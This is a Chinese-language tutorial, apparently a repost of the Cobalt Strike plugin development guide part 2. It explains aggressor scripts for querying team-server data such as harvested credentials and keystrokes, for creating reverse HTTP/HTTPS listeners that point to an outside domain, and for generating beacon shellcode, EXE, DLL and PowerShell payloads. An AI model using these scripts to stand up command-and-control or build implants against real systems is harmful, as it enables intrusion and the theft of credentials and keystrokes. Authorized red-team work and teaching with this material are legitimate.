CobaltStrike插件开发官方指南 Part2
字数 1541 2025-08-26 22:11:34
CobaltStrike插件开发官方指南 Part2 - 数据模型与监听器API详解
0x03 数据模型
Cobalt Strike团队服务器存储了所有主机、服务、凭据等信息。开发者可以通过数据API访问这些信息。
数据查询基础
&data_query函数:用于查询Cobalt Strike的数据模型&data_keys函数:查询特定数据模型的关键字
command export {
local('$handle $model $row $entry $index');
$handle = openf(">export.txt");
foreach $model (data_keys()) {
println($handle, "== $model ==");
println($handle, data_query($model));
}
closef($handle);
println("See export.txt for the data.");
}
主要数据模型及其对应函数
| 模型 | 函数 | 功能描述 |
|---|---|---|
| applications | &applications |
系统分析结果 (View -> Applications) |
| archives | &archives |
连接日志/活动 |
| beacons | &beacons |
激活的beacons |
| credentials | &credentials |
账号密码等凭据信息 |
| downloads | &downloads |
下载的文件 |
| keystrokes | &keystrokes |
Beacon接收到的键盘记录 |
| screenshots | &screenshots |
截图文件 |
| services | &services |
服务相关信息 |
| sites | &sites |
资产信息 |
| socks | &pivots |
SOCKS代理服务以及端口转发 |
| targets | &targets |
主机信息 |
数据模型操作与事件监听
- 数据模型操作:调用这些函数会返回一个数组中每个条目的字典,包含键值对
- 事件监听:使用
on DATA_KEY监听特定模型的变化
on keystrokes {
println("I have new keystrokes: $1");
}
0x04 监听器API
监听器(Listeners)是Cobalt Strike处理bot发来信息的核心模块。
监听器信息查询
&listeners函数:获取所有监听器名称列表&listeners_local函数:仅获取本地侦听器&listener_info函数:将监听器名称解析为其配置信息
command listeners {
local('$name $key $value');
foreach $name (listeners()) {
println("== $name == ");
foreach $key => $value (listener_info($name)) {
println("$[20]key : $value");
}
}
}
监听器管理
- 创建监听器:使用
&listener_create函数
// 新建一个foreign监听器
listener_create("My Metasploit", "windows/foreign_https/reverse_https", "ads.losenolove.com", 443);
// 新建一个HTTP Beacon监听器
listener_create("Beacon HTTP", "windows/beacon_http/reverse_http", "www.losenolove.com", 80, "www.losenolove.com, www2.losenolove.com");
- 删除监听器:使用
&listener_delete函数
listener_delete("Beacon HTTP");
- 监听器选择:使用
&openPayloadHelper弹出可用监听器列表
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
Payload生成
- Shellcode生成:使用
&shellcode函数
$data = shellcode("my listener", false, "x86");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
参数说明:
- 第一个参数:监听器名称
- 第二个参数:是否发送给远程主机(true/false)
- 第三个参数:系统架构(x64/x86)
- EXE/DLL生成:使用
&artifact函数
artifact("my listener","exe",false,x86);
参数说明:
- 第一个参数:监听器名称
- 第二个参数:生成类型
- 第三个参数:是否发送给远程主机
- 第四个参数:系统架构
支持的类型参数:
| 类型参数 | 描述 |
|---|---|
| dll | x86 DLL |
| dllx64 | x64 DLL |
| exe | windows可执行程序 |
| powershell | powershell脚本 |
| python | python脚本 |
| svcexe | 以服务启动的可执行文件 |
| vbscript | vb脚本 |
示例:
popup beacon_bottom {
item "exe" {
$data = artifact("cat", "exe");
$handle = openf(">cat.exe");
writeb($handle, $data);
closef($handle);
}
}
- PowerShell生成:使用
&powershell函数
println(powershell("my listener", false,x86));
- Stageless生成:使用
&artifact_stageless函数
sub ready {
local('$handle');
$handle = openf(">out.exe");
writeb($handle, $1);
closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);
参数说明:
- 前三个参数与
artifact相同 - 第四个参数:代理信息
- 第五个参数:回调函数